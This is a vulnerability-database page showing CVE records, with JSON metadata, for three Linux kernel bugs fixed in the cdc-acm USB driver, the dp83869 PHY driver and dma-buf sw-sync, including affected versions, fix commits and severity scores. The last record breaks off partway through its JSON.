Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:35:54.825Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:23.623Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/class/cdc-acm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a4e1ae5c0533964170197e4fb4f33bc8c1db5cd2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "90dd2f1b7342b9a671a5ea4160f408037b92b118",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "871619c2b78fdfe05afb4e8ba548678687beb812",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7828e9363ac4d23b02419bf2a45b9f1d9fb35646",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6abb510251e75f875797d8983a830e6731fa281c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f64079bef6a8a7823358c3f352ea29a617844636",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "383d516a0ebc8641372b521c8cb717f0f1834831",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e563b01208f4d1f609bcab13333b6c0e24ce6a01",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/class/cdc-acm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: cdc-acm: Check control transfer buffer size before access\n\nIf the first fragment is shorter than struct usb_cdc_notification, we can\u0027t\ncalculate an expected_size. Log an error and discard the notification\ninstead of reading lengths from memory outside the received data, which can\nlead to memory corruption when the expected_size decreases between\nfragments, causing `expected_size - acm-\u003enb_index` to wrap.\n\nThis issue has been present since the beginning of git history; however,\nit only leads to memory corruption since commit ea2583529cd1\n(\"cdc-acm: reassemble fragmented notifications\").\n\nA mitigating factor is that acm_ctrl_irq() can only execute after userspace\nhas opened /dev/ttyACM*; but if ModemManager is running, ModemManager will\ndo that automatically depending on the USB device\u0027s vendor/product IDs and\nits other interfaces."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:47.631Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a4e1ae5c0533964170197e4fb4f33bc8c1db5cd2"
        },
        {
          "url": "https://git.kernel.org/stable/c/90dd2f1b7342b9a671a5ea4160f408037b92b118"
        },
        {
          "url": "https://git.kernel.org/stable/c/871619c2b78fdfe05afb4e8ba548678687beb812"
        },
        {
          "url": "https://git.kernel.org/stable/c/7828e9363ac4d23b02419bf2a45b9f1d9fb35646"
        },
        {
          "url": "https://git.kernel.org/stable/c/6abb510251e75f875797d8983a830e6731fa281c"
        },
        {
          "url": "https://git.kernel.org/stable/c/f64079bef6a8a7823358c3f352ea29a617844636"
        },
        {
          "url": "https://git.kernel.org/stable/c/383d516a0ebc8641372b521c8cb717f0f1834831"
        },
        {
          "url": "https://git.kernel.org/stable/c/e563b01208f4d1f609bcab13333b6c0e24ce6a01"
        },
        {
          "url": "https://project-zero.issues.chromium.org/issues/395107243"
        }
      ],
      "title": "usb: cdc-acm: Check control transfer buffer size before access",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21704",
    "datePublished": "2025-02-22T09:43:37.377Z",
    "dateReserved": "2024-12-29T08:45:45.751Z",
    "dateUpdated": "2026-05-12T12:03:23.623Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50188 (GCVE-0-2024-50188)

Vulnerability from cvelistv5 – Published: 2024-11-08 05:38 – Updated: 2026-05-12 12:00

Title

net: phy: dp83869: fix memory corruption when enabling fiber

Summary

In the Linux kernel, the following vulnerability has been resolved: net: phy: dp83869: fix memory corruption when enabling fiber When configuring the fiber port, the DP83869 PHY driver incorrectly calls linkmode_set_bit() with a bit mask (1 << 10) rather than a bit number (10). This corrupts some other memory location -- in case of arm64 the priv pointer in the same structure. Since the advertising flags are updated from supported at the end of the function the incorrect line isn't needed at all and can be removed.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/21b5af7f0c99b3bf1…
https://git.kernel.org/stable/c/ad0d76b8ee5db0637…
https://git.kernel.org/stable/c/c1944b4253649fc6f…
https://git.kernel.org/stable/c/9ca634676ff66e1d6…
https://git.kernel.org/stable/c/e3f2de32dae35bc7d…
https://git.kernel.org/stable/c/a842e443ca8184f2d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < 21b5af7f0c99b3bf1fd02016e6708b613acbcaf4 (git) Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < ad0d76b8ee5db063791cc2e7a30ffc9852ac37c4 (git) Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < c1944b4253649fc6f2fb53e7d6302eb414d2182c (git) Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < 9ca634676ff66e1d616259e136f96f96b2a1759a (git) Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < e3f2de32dae35bc7d173377dc97b5bc9fcd9fc84 (git) Affected: a29de52ba2a156873505d8b8cef44e69925b8114 , < a842e443ca8184f2dc82ab307b43a8b38defd6a5 (git)
Linux	Linux	Affected: 5.10 Unaffected: 0 , < 5.10 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50188",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:18:28.121438Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:08.863Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:41.710Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:26.496Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/phy/dp83869.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "21b5af7f0c99b3bf1fd02016e6708b613acbcaf4",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            },
            {
              "lessThan": "ad0d76b8ee5db063791cc2e7a30ffc9852ac37c4",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            },
            {
              "lessThan": "c1944b4253649fc6f2fb53e7d6302eb414d2182c",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            },
            {
              "lessThan": "9ca634676ff66e1d616259e136f96f96b2a1759a",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            },
            {
              "lessThan": "e3f2de32dae35bc7d173377dc97b5bc9fcd9fc84",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            },
            {
              "lessThan": "a842e443ca8184f2dc82ab307b43a8b38defd6a5",
              "status": "affected",
              "version": "a29de52ba2a156873505d8b8cef44e69925b8114",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/phy/dp83869.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.10"
            },
            {
              "lessThan": "5.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phy: dp83869: fix memory corruption when enabling fiber\n\nWhen configuring the fiber port, the DP83869 PHY driver incorrectly\ncalls linkmode_set_bit() with a bit mask (1 \u003c\u003c 10) rather than a bit\nnumber (10). This corrupts some other memory location -- in case of\narm64 the priv pointer in the same structure.\n\nSince the advertising flags are updated from supported at the end of the\nfunction the incorrect line isn\u0027t needed at all and can be removed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:47:07.869Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/21b5af7f0c99b3bf1fd02016e6708b613acbcaf4"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad0d76b8ee5db063791cc2e7a30ffc9852ac37c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/c1944b4253649fc6f2fb53e7d6302eb414d2182c"
        },
        {
          "url": "https://git.kernel.org/stable/c/9ca634676ff66e1d616259e136f96f96b2a1759a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3f2de32dae35bc7d173377dc97b5bc9fcd9fc84"
        },
        {
          "url": "https://git.kernel.org/stable/c/a842e443ca8184f2dc82ab307b43a8b38defd6a5"
        }
      ],
      "title": "net: phy: dp83869: fix memory corruption when enabling fiber",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50188",
    "datePublished": "2024-11-08T05:38:29.127Z",
    "dateReserved": "2024-10-21T19:36:19.967Z",
    "dateUpdated": "2026-05-12T12:00:26.496Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38780 (GCVE-0-2024-38780)

Vulnerability from cvelistv5 – Published: 2024-06-21 11:15 – Updated: 2026-05-12 11:55

Title

dma-buf/sw-sync: don't enable IRQ from sync_print_obj()

Summary

In the Linux kernel, the following vulnerability has been resolved: dma-buf/sw-sync: don't enable IRQ from sync_print_obj() Since commit a6aa8fca4d79 ("dma-buf/sw-sync: Reduce irqsave/irqrestore from known context") by error replaced spin_unlock_irqrestore() with spin_unlock_irq() for both sync_debugfs_show() and sync_print_obj() despite sync_print_obj() is called from sync_debugfs_show(), lockdep complains inconsistent lock state warning. Use plain spin_{lock,unlock}() for sync_print_obj(), for sync_debugfs_show() is already using spin_{lock,unlock}_irq().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/1ff116f68560a2565…
https://git.kernel.org/stable/c/165b25e3ee9333f7b…
https://git.kernel.org/stable/c/ae6fc4e6a3322f6d1…
https://git.kernel.org/stable/c/9d75fab2c14a25553…
https://git.kernel.org/stable/c/242b30466879e6def…
https://git.kernel.org/stable/c/a4ee78244445ab73a…
https://git.kernel.org/stable/c/8a283cdfc8beeb140…
https://git.kernel.org/stable/c/b794918961516f667…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < 1ff116f68560a25656933d5a18e7619cb6773d8a (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < 165b25e3ee9333f7b04f8db43895beacb51582ed (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < ae6fc4e6a3322f6d1c8ff59150d8469487a73dd8 (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < 9d75fab2c14a25553a1664586ed122c316bd1878 (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < 242b30466879e6defa521573c27e12018276c33a (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < a4ee78244445ab73af22bfc5a5fc543963b25aef (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < 8a283cdfc8beeb14024387a925247b563d614e1e (git) Affected: a6aa8fca4d792c72947e341d7842d2f700534335 , < b794918961516f667b0c745aebdfebbb8a98df39 (git) Affected: f14ad42b8743897d140808467ed4ae3ce93bd0a5 (git)
Linux	Linux	Affected: 4.14 Unaffected: 0 , < 4.14 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:57.330Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ff116f68560a25656933d5a18e7619cb6773d8a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/165b25e3ee9333f7b04f8db43895beacb51582ed"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae6fc4e6a3322f6d1c8ff59150d8469487a73dd8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9d75fab2c14a25553a1664586ed122c316bd1878"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/242b30466879e6defa521573c27e12018276c33a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a4ee78244445ab73af22bfc5a5fc543963b25aef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a283cdfc8beeb14024387a925247b563d614e1e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b794918961516f667b0c745aebdfebbb8a98df39"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38780",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:08:56.155586Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:44.243Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:22.697Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/dma-buf/sync_debug.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1ff116f68560a25656933d5a18e7619cb6773d8a",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "165b25e3ee9333f7b04f8db43895beacb51582ed",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "ae6fc4e6a3322f6d1c8ff59150d8469487a73dd8",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "9d75fab2c14a25553a1664586ed122c316bd1878",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "242b30466879e6defa521573c27e12018276c33a",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "a4ee78244445ab73af22bfc5a5fc543963b25aef",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "8a283cdfc8beeb14024387a925247b563d614e1e",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
              "versionType": "git"
            },
            {
              "lessThan": "b794918961516f667b0c745aebdfebbb8a98df39",
              "status": "affected",
              "version": "a6aa8fca4d792c72947e341d7842d2f700534335",
